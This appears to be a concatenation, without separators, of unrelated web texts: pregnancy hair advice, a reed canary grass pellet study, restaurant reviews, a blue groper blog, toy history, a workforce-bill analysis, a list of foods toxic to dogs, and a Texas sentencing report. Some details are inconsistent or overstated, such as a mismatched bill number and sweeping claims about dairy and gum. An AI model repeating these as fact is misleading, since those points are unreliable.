However, hair rebonding is not recommended because there is not enough evidence about the safety of the chemicals used in this process and their affect on your baby. It's best to play it safe and not have this procedure carried out in pregnancy. Most women find that there hair changes in pregnancy (both in quality and quantity!) so any change your have to your hair in pregnancy may look quite different post-pregnancy.

Lake Superior State University, a place already known for research in various fields of study, is the site of a new research project for alternative fuel sources.
The multi-phase project, led by LSSU biology department head Gregory Zimmerman Ph.D. with help from Justin Wilson, the project's student volunteer, is studying the potential of reed canary grass pellets as an environmentally friendly and economical heating fuel, as well as a possible economic stimulant for the Eastern Upper Peninsula.
The grass being used in the study is known as reed canary grass, an abundant but weedy species in the EUP considered by many to be a problem due to its aggressive growth. The first phase of the study wanted to prove the grass's practicality as a pellet fuel. The recently completed second phase demonstrated how the grass could be made into small pellets as fuel for heating spaces such as a house. Both phases have shown the grass pellets to have several potential benefits.
"Reed canary grass is a sustainable source of heating fuel, does not compete with food production and, compared to the use of fossil fuels, reduces the release of greenhouse gases," said Zimmerman, who added that he hopes the rest of the study will confirm the grass pellets' numerous advantages over current fuels such as propane.
To make the grass into pellets, Zimmerman harvested reed canary grass from a local field last November. He chose this time period so that the grass was dead, allowing nutrients to move back to the soil and requiring no further energy for drying. The collected grass was then ground into ¼ inch particles in a hammer mill.
The grass, along with various additives, was then sent through a small pellet mill driven by the PTO of a tractor. After the grass was turned into pellets, the pellets were used in a multi-fuel stove. The result of these grass pellets appears to be an effective and environmentally friendly source of heat.
Zimmerman and Wilson tried a variety of recipes to discover which additives would give reed canary grass pellets characteristics similar to those of wood pellets. After multiple trials, the two recipes that produced the best results were not what one might expect. One recipe mixed reed canary grass with spent brewer's grain, which was grain used during the beer-making process at Tahquamenon Brewery. Another recipe called for the grass to be mixed with a small amount of fryer grease from LSSU's Quarterdeck cafeteria and corrugated cardboard. Although time-consuming and difficult at points, Zimmerman said the recipe experimentation was essential to the success of making these pellets.
Zimmerman also acknowledges the generosity of the staff at LSSU's physical plant as a reason for the study's accomplishments. The current location of the project and where the process of making pellets occurs is the garage behind the university's physical plant. The staff of the plant has allowed Zimmerman and Wilson access to the garage during the course of the project in addition to other logistical help. Zimmerman has been grateful for the staff's help through all phases of the study and says that they deserve a "big thanks."
The Biomass Energy Program of the Michigan Department of Energy, Labor, and Economic Growth funded the first two phases of the study. Although he is preparing for the third phase, Zimmerman has already found one major economic advantage based on results from the first two phases.
"Based on an average of six fields in the EUP, three acres of reed canary grass would make enough pellets to replace 800 gallons of propane."
He said that he hopes the next phase, which could also be funded by a grant, will show that grass pellets are competitive with wood pellets while confirming the cost of making and using the pellets to be much less expensive than propane.
The ideal situation of study for this phase would involve a co-op of area farmers sharing the cost of a "pelletizer" and the effort taken to market the reed canary grass pellets to area residents and businesses. He believes that keeping the co-op local could reduce transportation costs to ship the pellets and could also reduce the cost of heating for farmers, businesses, and residents.
In addition to planning the next phase of the study, Zimmerman and Wilson have been busy demonstrating how well reed canary grass pellets work to various community organizations. LSSU's Board of Trustees, local conservation groups, and visitors to the Sault Ste. Marie Farmers' Market are just some of the area residents who have seen how these pellets work in a multi-fuel stove.
Future plans for Zimmerman and Wilson include continuing their demonstrations to residents throughout the area. They will also repeat the pellet-making process in the fall.

Best Of :: Food & Drink
Kuluck does something well that most ethnic restaurants in Broward or Palm Beach don't: it's cool. The upscale Persian supper club, located in a strip mall in Tamarac, actually oozes style. With soft lighting, colorful walls with velvet drapes, white tablecloths, and a 20-foot dance floor, the joint is all sleek edges and sass. It's a wild departure from the typical regional-history-while-you-eat décor that clogs other ethnic restaurants, but who wants to eat in a museum? The secret behind Kuluck's styling is that the owners wanted to create a place where they would not only serve great Iranian food in a classy atmosphere, but also a place where their band Dima could play. They do that on Saturday nights while folks nosh on tender, marinated kebabs of Cornish hen and koobideh (juicy, onion-flavored ground beef). The menu is simple, but what's there is flavorful and cooked perfectly. (Chicken that's not dried to the bone? No way! Yes, way!) The kashke bademjam — a textured dip of roasted eggplant, garlic, onion, and whey — is particularly dreamy. The result is a restaurant that's both sexy and sophisticated.
We thought we'd never find another shrimp dish to so thoroughly amuse our bouches after Florence Fabricant's classic entry in our dog-eared copy of The Silver Palate Cookbook — until we stumbled into Bonefish Grill and ordered their "Saucy Gulf Shrimp." Here's an appeteaser to jostle any cynic from apathy, a balance of sharp and savory to spur the flagging appetite and rouse failed expectations; priced at $7.90 and generous enough to share, it's satisfying but not satiating. Bonefish, a homegrown Florida chain we can confidently brag about, now serves this concoction as far north as Jersey, but the magic in the brew's consistent: juicy Gulf shrimp sautéed in butter with slivers of sun-dried tomato and kalamata olives, tossed around in a lime, tomato, garlic, cream, and white wine sauce — with more butter. That's topped with a little feta and a handful of parsley. Bonefish ought to offer a guarantee: Mop up every drop or your money back.
Argentina has given the world soccer star Diego Maradona and power broker Eva Peron, but neither were as satisfying as Beefeater. First, it's good for your taste buds: the savory flavors of South America fill your mouth. Then it's good for your hunger: entrees like the egantic (that is, bigger than ginormous) churrasco will fill you up with plenty left for a meal the next day. Perhaps even better is the price. You can start with empanadas or grilled provolone; move on to a steak covered with rich, bright-green chimichurri sauce; and finish with panqueque con dulce de leche, a crepe made with caramel and powdered sugar and flambéed with rum, and you still won't break the 20-dollar mark. Lunch specials get you a steak, salad, and drink for under $10. Around dinnertime the restaurant gets crowded, but complimentary drinks and the people-watching on Hollywood Boulevard help pass the time.
You can't find EveryBurger everywhere. If you could just stop at any corner store and pick up a pack of the delicious little Japanese cookies that masquerade as itty-bitty burgers, you'd at least spend less on gas. But our convenience stores will never be that cool. To find the best imported Asian treats, you have to go to Sasaya Japanese Market. In addition to inexpensive to-go sushi (the priciest roll is $7.50), Sasaya offers one-stop shopping for wasabi peas, lucky cat wallets, and kitchen supplies; plus extra-fancy, extra-spicy ramen noodles, and assorted sakes and curry pastes.
It's not just about the bagels. You want a place that evokes the old-time Lower East Side, with wise, gabby people exchanging gossip or leafing through the New York papers as they eat their bagels, typically with a schmear of cream cheese and a slice of nova. This brings us to East Side Bagel & Deli, a modest little restaurant in a commercial strip near the Galt Ocean Mile. The display case is always full of bagels, and they're just the right consistency (chewy, not bready or — heaven forbid — rock-like). There's lots of talk and a friendly staff to serve a full breakfast or lunch, or just your favorite round ones (sesame seed, poppy seed, egg, plain, you get the idea). New owner Kevin Spence says that, when it comes to bagels, he's got a tough, seasoned crowd, many of them from New York. "They know what they're eating," Spence says. And they come back for more. In fairness, most of East Side Deli's bagels are prepared at Bagelmania, where they know a thing or two about baking bagels. No, says Denise Jimenez, the Bagelmania boss' wife, it's not the water (the usual excuse for why you can't get a good bagel outside of New York). "You mix the dough, then you let it sit in the refrigerator for 24 hours," she says. "That's the secret. If you don't let it sit, it doesn't come out right."
Want to know how to spot good barbeque? It's not just the smell — though if the air outside is perfumed by the sugary scent of wood smoke, you're in good shape. Nor is it the queue out front — people still line up to get McDonalds. The secret is in the grill man. Take a look at the guy: Does he have an innate connection to the meat? Can he just stare at a pork shoulder, smokin' away above the coals, and commune with its innermost fleshiness? Does he look as much a part of the place as the ancient oven that he mans, his face wrinkled and hardened from years of staring into the pit? That's the guy I want cooking my 'que. At the 55-year-old landmark Georgia Pig, that man is owner Wayne Anderson, and he turns out the most deeply smoked, immaculately rich BBQ you'll find in South Florida. The chopped pork — oh my God, the chopped pork — is infused with hickory and tumbled into layers of crunchy skin bristling with bacon-ized pork fat and succulent bits of tender, reddened flesh. The Pig's sauce, a water-thin spritz of vinegar and spices, serves only to enhance the flavor of the meat, not mask it with sickly syrups or bombastic tomatoes. You'll also find killer brisket, unctuous ribs (check out the smoke ring), authentic Brunswick stew, and decadent banana pudding. Be sure to thank the grill man on your way out.

Just like Melbourne loves to steal big sporting events, musicals and exhibitions from other Australian capital cities, now it seems we'd also steal a big fish!
For years I have been sitting in my office in the marine biology area of the museum discretely listening in to my office buddy's phone calls. There is always something going on but this past week things have gotten more interesting than usual.
"...Another one? ... Where this time? ... Did they give you a photo?... Wow-ee!"
Apparently there have been a number of sightings of Blue Gropers in waters in and around Port Phillip Bay. Once a popular target for spearfishers in the mid 1900s, they are now considered one of the more elusive fish in our waters.

We are thought to have only the Eastern Blue Groper in Victoria (Achoerodus viridis), but that is where the mystery widens.
If the western sightings turn out to be the Western Blue Groper (Achoerodus gouldii), then that would be exciting, because even though some guide books list the species in western Victoria, the museum has no verified records that I could find. Effectively, it would be the first offical indication that we have of the Western Blue Groper extending its range from Western Australia and South Australia into Victorian waters.
Being passionate about all things mariney, I have listened to these recent phone calls more keenly than most because regardless of the exact species, Eastern or Western, they suggest that this iconic giant is back in significant numbers. Perhaps this means marine parks and sanctuaries are helping blue groper populations to increase.
Anyway, I'm heading out next weekend to get wet and see if I can further fuel the enthusiasm in here. Join me and get diving or snorkelling, if you see a groper emerge out of the bay haze, snap a photo and help us solve this mystery.

Oh and if you're interested...
Blue Gropers are large, slow-growing fishes, that reach a metre or thereabouts – gentle giants if you like. They hang around rocky reefs. Funnily enough, their name is misleading because they are not always blue. Sometimes they are green, sometimes grey, sometimes inbetween. They start life as females and turn into males when about half a metre long, about a ten-year wait to manhood. They are more closely related to wrasses and parrotfishes than to the tropical groper commonly seen by divers on reefs in northern Australia. They are now more sought after for viewing on a spectacular dive rather than for dinner. Reef Watch Victoria monitors blue gropers and other marine life along our coasts.

At Laser Pegs® we're obsessed with all kinds of toys and how they have evolved. Since we're in the business of developing light up construction toys and kits, we thought we'd take a look back at construction and building toys through the ages.
Wooden Blocks and Train Sets
In the mid-1800s kids were introduced to alphabet blocks that helped them learn their letters. We're guessing those same kids also used them as building blocks, too. Why wouldn't they? Later in that century, the Swedish company BRIO (standing for the Brothers Ivarson of Osby Sweden) introduced the first wooden figure-8 train set.
Joshua Lionel Cowen improved on the train set, introducing the first battery-operated engine in the first decade of the 20th century. Thus our enduring fascination Lionel train sets was born. As train sets involved, so did the miniature cities and villages that the train depots and tracks called home. Now that's construction!
Early 1900s Construction Toy Boom
Some of the biggest names in construction toy sets came out in the early 1900s. In fact three big ones came out between 1910 and 1920.
In 1913 the metal toy Erector Sets were introduced. Trained doctor and inventor Alfred Canton Gilbert dreamed up this construction toy concept during a train ride to New York. Gilbert was fascinated by the girders he witnessed being erected to support the electric lines that were used by the New York railroad to convert steam into electricity. The inventor created the toy as a way to understand how buildings were made and motors worked.
Charles H. Pajeau and Robert Pettit launched the wooden Tinkertoy Construction set in 1914. Tinkertoys were designed to appeal to younger children and came about after Pajeau saw children playing with empty thread spools and sticks. Tinkertoys are now available in both wooden and plastic versions.
Lincoln Logs came along in 1916 thanks to inventor John Lloyd Wright, son of Frank Lloyd Wright. The younger Wright based his design on one of his father's buildings, the Imperial Hotel in Tokyo, which utilized interlocking beams to help stabilize the building during earthquakes. The toy was named after President Abraham Lincoln who, as most of us know, was born in a log cabin.
LEGOs have evolved over the years, but Danish inventor and toy maker Ole Kirk Kristiansen started the original company in 1932. The iconic, interlocking LEGO brick, as we know it today, first came on the scene in 1958. Over the years, LEGO has offered kids around the world endless ways to build everything from animals, to vehicles and a wide range of buildings.
Laser Pegs® Lights Up the Building Toy Market
Our founder, Jon Capriola, came up with the idea for Laser Pegs® back in 2002, when he saw people wearing LED-powered, glowing necklaces at a Microsoft Tech event he was attending. Capriola wanted to create an interlocking piece building set that would use similar light technology, with blocks that would illuminate in different colors. Laser Pegs® construction toys were born and officially introduced to the toy market in 2009.
Since then, Laser Pegs® has continued to grow, and we continue to create cool, new construction kits for kids to enjoy. We hope your kids love playing with them as much as we have fun creating them!

House Workforce Bill Moves Forward Amid Rising Tensions
Mar 11, 2013
By Neil Ridley, Kisha Bird, and Marcie W.M. Foster
Last week the House Education and Workforce Committee voted to advance a bill that restructures a range of federal workforce programs, including the Workforce Investment Act (WIA). Tensions ran high during the legislative mark-up session and the hearing that preceded it, signaling a decline in the bipartisan spirit that has animated most reauthorization efforts in the past.
The House majority bill (H.R. 803) consolidates nearly three dozen federal programs into a block grant called the Workforce Investment Fund. Like H.R. 4297, which cleared the committee in 2012, H.R. 803 eliminates a separate youth funding stream, strikes WIA youth provisions including the 10 youth program elements and establishes a new set of common performance metrics without any youth-specific indicators. It also creates an option for states to consolidate additional education and training programs, such as adult education, into the block grant. Although the bill strengthens planning requirements and shared performance accountability provisions, it removes the priority of service for low-income adults and other safeguards for individuals with barriers to employment.
By contrast, the House minority bill (H.R. 798) introduced by Rep. John Tierney, Rep. Ruben Hinojosa and Rep. George Miller requires states to streamline and coordinate the use of workforce and education programs through unified planning. It expands the range of training options available for participants, modernizes the adult education system to meet the postsecondary and employment needs of students, and expands priority of service for individuals with barriers to employment and out-of-school youth. In addition, H.R. 4227 authorizes Innovation Funds to support the development and expansion of promising workforce strategies, such as career pathways, industry partnerships, and dropout recovery and re-engagement.
To help advocates and stakeholders, CLASP in 2012 issued A Litmus for Legislation with a set of criteria for evaluating reauthorization proposals. In applying those criteria to H.R. 803, CLASP concludes that the committee-reported bill is expected to shift funding and services away from youth and adults who are most in need of workforce services to more job-ready individuals with fewer barriers. Nothing in the new planning requirements or performance accountability system would prevent such a shift. By eliminating the youth funding stream and other programs, the bill would weaken the capacity to customize services to meet the needs of an increasingly diverse workforce.
The committee-reported bill is likely to move to the House floor within a week for a vote on final passage. As the legislative process moves forward, CLASP recommends that any reauthorization bill should promote multiple pathways to employment and education for adults and youth who are most in need of workforce services. The career pathways approach, which is building momentum at the state and local levels, is a framework for weaving together adult education, training and postsecondary programs and connecting those services to the workforce needs of employers. To increase alignment of services, CLASP also supports adoption of shared performance metrics, use of consistent definitions and reporting requirements, and greater efforts to minimize the burden associated with eligibility determination and verification across various programs.

Take notes to keep your dog healthy and safe!
Photo: Shutterstock Caffeine
 Large amounts of caffeine can cause caffeine poisoning, and there is no antidote.
Photo: Shutterstock Onions and Garlic
 Any form of onions and garlic can destroy a dog's red blood cells and lead to anemia.
Photo: Shutterstock Chocolate
 The agent in chocolate is theobromine. This is in all kinds of chocolate. The smallest amounts of chocolate can cause your dog to become very ill. Larger amounts can also cause abnormal heart rhythm, tremors, seizures, and death.
Photo: Shutterstock Candy and Gum
 Candy and gum contain xylitol which makes the foods sweet. This chemical can cause an increase in the insulin int he dog's body. Which can cause your dog's blood sugar to drop and can also cause liver failure.
Photo: Shutterstock Grapes
 It isn't clear as to why, but grapes and raisins cause kidney failure in dogs, and just a small amount can make a dog sick.
Photo: Shutterstock Raw Eggs
 Feeding your dog raw eggs increases the chance of food poisoning from bacteria like Salmonella and E Coli.There is also an enzyme in raw eggs that interferes with the absorption of a certain B vitamin.
Photo: Shutterstock Trimmed Fat
 Trimmed fat from meat, both cooked and uncooked, can cause pancreatitis in dogs and giving your dog the left over bones can splinter and cause an obstruction to your dog's digestive system.
Photo: Shutterstock Dairy Products
 Milk and other dairy products can make a dog very sick. Causing diarrhea, vomiting and other digestive issues.
Photo: Shutterstock Alcohol
 Alcohol has the same effect on a dog's liver and brain as it does to a human's liver and brain. But only a little bit of alcohol can go a long way for dogs and it can lead to very severe results as in a coma or death.
Photo: Shutterstock Avocados
 Avocados contain persin which is in the leaves, seed, and bark, as well as in the fruit and large amounts can be very toxic to dogs.
Photo: Shutterstock Salt
 Sharing your pretzels and chips can cause excessive thirst and urination and even lead to sodium ion poisoning.Too much salt for dogs is a bad choice.
Photo: Shutterstock Persimmons
 The issue with persimmons, peaches and plums are their pits/seeds. Seeds from persimmons can cause inflammation to the dogs small intestine. While the pits of peaches and plums contain cyanide, which is poisonous to both humans and dogs. Dogs don't know to not eat them.
Photo: Shutterstock Common Medicines
 Ingredients in common medicine taken by humans such as acetaminophen or ibuprofen are common in pain relievers and cold medicine to us but, they can be deadly for your dog.
Photo: Shutterstock Raw Meat
 Like raw eggs, raw meat and fish can cause food poisoning from Salmonella and E Coli, but the risk is higher because there are more choices of meat and fish that can bring different harmful bacteria.
Photo: Shutterstock Dough
 If your dog eats bread dough before it is bakes, it will do the same thing in their stomach as it does in the oven. As it swells inside, the dough can stretch the dog's abdomen and cause a lot of pain.
Photo: Shutterstock Macadamia Nuts
 Macadamia nuts and foods containing these nuts can make the dog very ill and cause poisoning to the dog.
Photo: Shutterstock Sugar
 Too much sugar has the same effect on a dog as it does to humans.

Texas Abolishes Life Without Parole for Juvenile Killers
Gov. Rick Perry has signed one of his priority bills for the Special Session, a measure which eliminates the possibility of a sentence of Life Without Parole for killers who committed their crime when they were 17, 1200 WOAI news reports.
The bill was required by a U.S. Supreme Court ruling, Miller v. Alabama, in which the justices determined that life without parole sentences for juvenile offenders amount to cruel and unusual punishment.
The Texas law replaces that with a forty year sentence with the possibility of parole.
Essentially, no one who committed a crime when they were under the age of 18 can be sentenced to 'die in prison.'
State Sen. Jose Rodriguez (D-El Paso) said the forty year minimum is still to harsh for a young offender.
"Juvenile offenders, because of their brain development and other factors, are different from adult offenders," Rodriguez said. "There are also documented racial disparities that show that blacks and Hispanics receive harsher penalties for the same offense."
Lawyers for incarcerated juveniles in Texas say they plan to challenge the new law as not being in compliance with the 'Miller' standard.
